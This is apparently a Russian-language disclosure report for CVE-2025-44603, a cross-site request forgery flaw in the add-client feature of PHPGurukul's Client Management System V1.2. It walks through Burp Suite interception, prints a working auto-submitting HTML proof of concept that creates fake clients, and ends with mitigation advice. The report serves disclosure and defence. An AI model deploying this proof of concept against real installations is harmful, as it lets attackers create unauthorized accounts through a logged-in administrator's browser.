CVE-2025-44603 (CSRF-уязвимость: приводит к созданию фальшивых клиентов)

Название проекта и URL репозитория: https://phpgurukul.com/client-management-system-using-php-mysql/

Название уязвимости: Межсайтовая подделка запроса (CSRF)

Затронутая версия: V1.2

Введение

Уязвимость межсайтовой подделки запроса (CSRF) существует в функциональности добавления клиента в системе управления клиентами, разработанной PHPGurukul. CSRF — это атака, при которой аутентифицированный пользователь обманным путем заставляет отправить вредоносный запрос веб-приложению. Это может привести к выполнению несанкционированных действий от имени пользователя. В этом отчете мы демонстрируем, как CSRF может быть использован для создания фальшивых пользователей в системе управления клиентами, и предлагаем стратегии смягчения последствий.

Настройка окружения

Локально размещенная система управления клиентами с использованием MySQL и PHP.
Функциональность добавления клиентов и их услуг.

Шаги эксплуатации CSRF

1. Вход как администратор

Используя предоставленные учетные данные, войдите в систему управления клиентами.

Вход как администратор

2. Добавление нового клиента

Выберите пункт «Добавить клиента».
Введите необходимые данные клиента.

Добавление нового клиента Ввод данных клиента

3. Перехват запроса на добавление клиента

Перейдите к кнопке «Сохранить».
Настройте Burp Suite для перехвата запросов.
Нажмите «Сохранить» и перехватите HTTP-запрос до того, как он достигнет сервера.
Отправьте перехваченный запрос на вкладку Repeater без сессионного cookie для анализа.

Перехват запроса в Burp Отправка в Repeater

CSRF-код для фальшивых клиентов

Ниже приведен HTML PoC для CSRF-атаки:

<html>
  <body>
    <form action="http://localhost/clientms/admin/add-client.php" method="POST">
      <input type="hidden" name="accounttype" value="Active Account" />
      <input type="hidden" name="cname" value="moulimurugan" />
      <input type="hidden" name="comname" value="kppr" />
      <input type="hidden" name="address" value="vijayamangalam" />
      <input type="hidden" name="city" value="erode" />
      <input type="hidden" name="state" value="tamil" />
      <input type="hidden" name="zcode" value="638026" />
      <input type="hidden" name="wphnumber" value="968560710" />
      <input type="hidden" name="cellphnumber" value="6931052465" />
      <input type="hidden" name="ophnumber" value="9638560410" />
      <input type="hidden" name="email" value="[email protected]" />
      <input type="hidden" name="password" value="moulimurugan" />
      <input type="hidden" name="websiteadd" value="clientmsdb" />
      <input type="hidden" name="notes" value="Nil" />
      <input type="hidden" name="submit" value="" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Создание фальшивых клиентов

Измените существующие данные, чтобы создать фальшивых клиентов.

Добавление фальшивого пользователя 1

Тестирование CSRF PoC

Откройте сгенерированную ссылку CSRF PoC в браузере.
Откроется веб-страница с кнопкой «Отправить».
Нажмите «Отправить», и запрос выполнится, создавая фальшивых клиентов.

Открытие PoC в браузере Нажатие кнопки отправки запроса

Подтверждение создания фальшивых клиентов

После отправки фальшивые клиенты появляются в панели администратора.

Фальшивые клиенты созданы Создано несколько пользователей

Стратегии смягчения последствий

Чтобы предотвратить CSRF-атаки, внедрите следующие меры:

CSRF-токены
- Используйте анти-CSRF токены во всех отправках форм и проверяйте их на стороне сервера.
SameSite-куки
- Устанавливайте сессионные cookie с атрибутами SameSite=Strict или SameSite=Lax.
Проверка заголовков Referer и Origin
- Проверяйте заголовки Referer и Origin перед обработкой запросов.
Проверка аутентификации пользователя
- Требуйте ввод CAPTCHA для критически важных действий, чтобы предотвратить автоматизированные атаки.
Ограничение HTTP-методов
- Используйте POST для конфиденциальных действий и избегайте обработки GET-запросов с побочными эффектами.

Заключение

В этом отчете показано, как CSRF-уязвимости могут быть использованы для создания несанкционированных клиентов в системе управления клиентами. Внедрение предложенных стратегий смягчения последствий поможет защитить приложение от подобных атак.

CVE-2025-44603-CSRF-Leads_to_Create_FakeUsers

Популярное